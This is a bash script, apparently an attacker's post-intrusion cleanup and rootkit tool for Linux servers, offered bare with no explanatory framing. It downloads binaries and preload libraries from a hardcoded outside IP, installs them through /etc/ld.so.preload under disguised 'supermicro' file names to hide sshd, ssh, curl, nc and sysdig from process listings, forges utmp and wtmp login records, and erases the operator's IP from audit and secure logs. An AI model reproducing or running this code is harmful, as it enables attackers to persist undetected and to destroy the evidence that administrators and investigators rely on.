#!/bin/bash

IP_SERVER="185.141.25.168"

PATH_TEMP_FILE="/tmp"

PATH_PS_INJ="/usr/share/man/man8"
PS_INJ_FILE_1="supermicro_ll.gz" #sshd
PS_INJ_FILE_2="supermicro_kk.gz" #ssh
PS_INJ_FILE_3="supermicro_gg.gz" #sysdig
PS_INJ_FILE_4="supermicro_pp.gz" #curl
PS_INJ_FILE_5="supermicro_ii.gz" #nc

check_root ()
{
    if [ "$EUID" -ne 0 ]
        then echo "Please run as root"
        rm -rf $PATH_TEMP_FILE/clear_log.sh
        exit
    fi
}

unset_perm_file ()
{
	chattr -i  /var/log/wtmp
	chattr -i  /var/log/btmp
	chattr -i  /var/log/lastlog
	chattr -i  /var/run/utmp
}

set_perm_file ()
{
	chattr +i  /var/log/wtmp
	chattr +i  /var/log/btmp
	chattr +i  /var/log/lastlog
	chattr +i  /var/run/utmp
}

who_injection ()
{
        read -n 1 -p "Do you want to WHO INJECT? (y/n): " whoinj
        case "$whoinj" in
            y|Y) printf "\n==WHO INJECT==\n"
				printf "\n[+] Download File utmp, wtmp\n"
                wget -q http://$IP_SERVER/utmp -P $PATH_TEMP_FILE/
    			wget -q http://$IP_SERVER/wtmp -P $PATH_TEMP_FILE/
    			chmod +x $PATH_TEMP_FILE/utmp $PATH_TEMP_FILE/wtmp
    			printf "=============================\n"
                who
                printf "=============================\n"
                read -p "Enter session (Example: pts/0): " SESS

                $PATH_TEMP_FILE/./utmp $SESS
                $PATH_TEMP_FILE/./wtmp $SESS
                ;;
            n|N) printf "\n==WHO INJECT SKIPPED==\n"
                true
                ;;
        esac
}

inject_preload ()
{
	#sshd
    if [ -f "$PATH_PS_INJ/$PS_INJ_FILE_1" ]; then
        printf "\n$PS_INJ_FILE_1 Found!\n"
        read -n 1 -p "Delete SSHD inject? (y/n) " ask
        case "$ask" in
        	y|Y) rm -rf $PATH_PS_INJ/$PS_INJ_FILE_1
				 printf "\n[+] $PS_INJ_FILE_1 file Deleted"
				 sed -i '/$PS_INJ_FILE_1/d' /etc/ld.so.preload
				 printf "\n[+] $PS_INJ_FILE_1 injection delete"
				;;
			n|N) true
                ;;
        esac
    else
    	read -n 1 -p "Injecting sshd filtering in ps? (y/n) " ask
        case "$ask" in
        	y|Y) printf "\n[+] Download File\n"
				 wget -q http://$IP_SERVER/binaryinject.so -O $PATH_PS_INJ/$PS_INJ_FILE_1
				 chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_1
				 echo $PATH_PS_INJ/$PS_INJ_FILE_1 >> /etc/ld.so.preload
				 printf "\n[+] Injection write in /etc/ld.so.preload\n"
				;;
			n|N) true
                ;;
        esac
    fi

    #ssh
    if [ -f "$PATH_PS_INJ/$PS_INJ_FILE_2" ]; then
        printf "\n$PS_INJ_FILE_2 Found!\n"
        read -n 1 -p "Delete SSH inject? (y/n) " ask
        case "$ask" in
        	y|Y) rm -rf $PATH_PS_INJ/$PS_INJ_FILE_2
				 printf "\n[+] $PS_INJ_FILE_2 file Deleted"
				 sed -i '/$PS_INJ_FILE_2/d' /etc/ld.so.preload
				 printf "\n[+] $PS_INJ_FILE_2 injection delete"
				;;
			n|N) true
                ;;
        esac
    else
    	read -n 1 -p "Injecting ssh filtering in ps? (y/n) " ask
        case "$ask" in
        	y|Y) printf "\n[+] Download File\n"
				 wget -q http://$IP_SERVER/binaryinject/binaryinject1.so -O $PATH_PS_INJ/$PS_INJ_FILE_2
				 chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_2
				 echo $PATH_PS_INJ/$PS_INJ_FILE_2 >> /etc/ld.so.preload
				 printf "\n[+] Injection write in /etc/ld.so.preload\n"
				;;
			n|N) true
                ;;
        esac
    fi

    #sysdig
    if [ -f "$PATH_PS_INJ/$PS_INJ_FILE_3" ]; then
        printf "\n$PS_INJ_FILE_3 Found!\n"
        read -n 1 -p "Delete sysdig inject? (y/n) " ask
        case "$ask" in
        	y|Y) rm -rf $PATH_PS_INJ/$PS_INJ_FILE_3
				 printf "\n[+] $PS_INJ_FILE_3 file Deleted"
				 sed -i '/$PS_INJ_FILE_3/d' /etc/ld.so.preload
				 printf "\n[+] $PS_INJ_FILE_3 injection delete"
				;;
			n|N) true
                ;;
        esac
    else
    	read -n 1 -p "Injecting sysdig filtering in ps? (y/n) " ask
        case "$ask" in
        	y|Y) printf "\n[+] Download File\n"
				 wget -q http://$IP_SERVER/binaryinject/binaryinject2.so -O $PATH_PS_INJ/$PS_INJ_FILE_3
				 chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_3
				 echo $PATH_PS_INJ/$PS_INJ_FILE_3 >> /etc/ld.so.preload
				 printf "\n[+] Injection write in /etc/ld.so.preload\n"
				;;
			n|N) true
                ;;
        esac
    fi

    #curl
    if [ -f "$PATH_PS_INJ/$PS_INJ_FILE_4" ]; then
        printf "\n$PS_INJ_FILE_4 Found!\n"
        read -n 1 -p "Delete curl inject? (y/n) " ask
        case "$ask" in
        	y|Y) rm -rf $PATH_PS_INJ/$PS_INJ_FILE_4
				 printf "\n[+] $PS_INJ_FILE_4 file Deleted"
				 sed -i '/$PS_INJ_FILE_4/d' /etc/ld.so.preload
				 printf "\n[+] $PS_INJ_FILE_4 injection delete"
				;;
			n|N) true
                ;;
        esac
    else
    	read -n 1 -p "Injecting curl filtering in ps? (y/n) " ask
        case "$ask" in
        	y|Y) printf "\n[+] Download File\n"
				 wget -q http://$IP_SERVER/binaryinject/binaryinject3.so -O $PATH_PS_INJ/$PS_INJ_FILE_4
				 chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_4
				 echo $PATH_PS_INJ/$PS_INJ_FILE_4 >> /etc/ld.so.preload
				 printf "\n[+] Injection write in /etc/ld.so.preload\n"
				;;
			n|N) true
                ;;
        esac
    fi

    #nc
    if [ -f "$PATH_PS_INJ/$PS_INJ_FILE_5" ]; then
        printf "\n$PS_INJ_FILE_5 Found!\n"
        read -n 1 -p "Delete nc inject? (y/n) " ask
        case "$ask" in
        	y|Y) rm -rf $PATH_PS_INJ/$PS_INJ_FILE_5
				 printf "\n[+] $PS_INJ_FILE_5 file Deleted"
				 sed -i '/$PS_INJ_FILE_5/d' /etc/ld.so.preload
				 printf "\n[+] $PS_INJ_FILE_5 injection delete"
				;;
			n|N) true
                ;;
        esac
    else
    	read -n 1 -p "Injecting nc filtering in ps? (y/n) " ask
        case "$ask" in
        	y|Y) printf "\n[+] Download File\n"
				 wget -q http://$IP_SERVER/binaryinject/binaryinject4.so -O $PATH_PS_INJ/$PS_INJ_FILE_5
				 chmod 777 $PATH_PS_INJ/$PS_INJ_FILE_5
				 echo $PATH_PS_INJ/$PS_INJ_FILE_5 >> /etc/ld.so.preload
				 printf "\n[+] Injection write in /etc/ld.so.preload\n"
				;;
			n|N) true
                ;;
        esac
    fi
}

force_clear_preload ()
{
	read -n 1 -p "FORCE CLEAR PRELOAD LIBRARY? (y/n) " ask
        case "$ask" in
        	y|Y) echo > /etc/ld.so.preload
				;;
			n|N) inject_preload
				;;
		esac
}

clear_log ()
{
	printf "CLEAR LOG"
	read -p "Enter your IP: " IP_CLEAR
	sed -i "/$IP_CLEAR/d" /var/log/audit/*
	sed -i "/$IP_CLEAR/d" /var/log/secure*
        sed -i "/supermicro/d" /var/log/audit/*
	rm -rf /var/log/yum*
}

main ()
{
	check_root
	unset_perm_file
	who_injection
	force_clear_preload
	clear_log
	set_perm_file
}

main
